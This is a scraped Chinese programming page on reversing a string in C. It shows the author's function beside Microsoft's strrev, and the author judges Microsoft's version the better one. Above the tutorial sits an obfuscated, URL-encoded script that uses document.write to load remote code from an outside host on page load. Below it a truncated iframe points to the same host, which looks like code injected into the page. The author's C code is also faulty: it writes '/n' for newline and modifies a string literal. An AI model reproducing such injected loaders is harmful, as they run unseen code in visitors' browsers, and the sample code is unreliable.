HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
字符串逆序
题目:
请编写一个
C
函数,该函数将一个字符串逆序。
char * StrReverse(char * ch)
{
char tempch,* tch;
int Len,i;
tch = ch;
printf("/n");
Len = strlen(ch);
printf("Len = %d/n",Len);
for(i=0;i<Len/2;i++)
{
tempch = *tch;
*tch = *(tch + Len - 2*i - 1);
*(tch+Len-2*i-1) = tempch;
tch++;
}
return ch;
}
main()
{
puts(StrReverse("123456"));
system("pause");
}
下面是MS的C库给出的代码:
char
*
__cdecl
strrev (
char
* string )
{
char
*start = string;
char
*left = string;
char
ch;
while
(*string++)
/* find end of string */
;
string -= 2;
while
(left < string)
{
ch = *left;
*left++ = *string;
*string-- = ch;
}
return
(start);
}
MS给出的代码比较简洁,写的比俺的要好!
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">